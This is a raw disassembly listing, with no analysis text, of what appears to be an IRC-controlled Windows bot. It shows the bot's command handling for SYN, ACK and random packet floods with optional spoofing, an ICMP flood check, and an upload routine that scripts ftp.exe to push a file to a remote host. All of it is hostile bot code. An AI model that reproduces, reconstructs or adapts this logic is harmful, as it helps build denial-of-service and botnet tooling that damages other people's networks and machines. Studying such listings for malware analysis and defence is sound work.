		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		call	near ptr 26B0E28h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h


loc_407468:				; DATA XREF: Themida_:00572496o
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
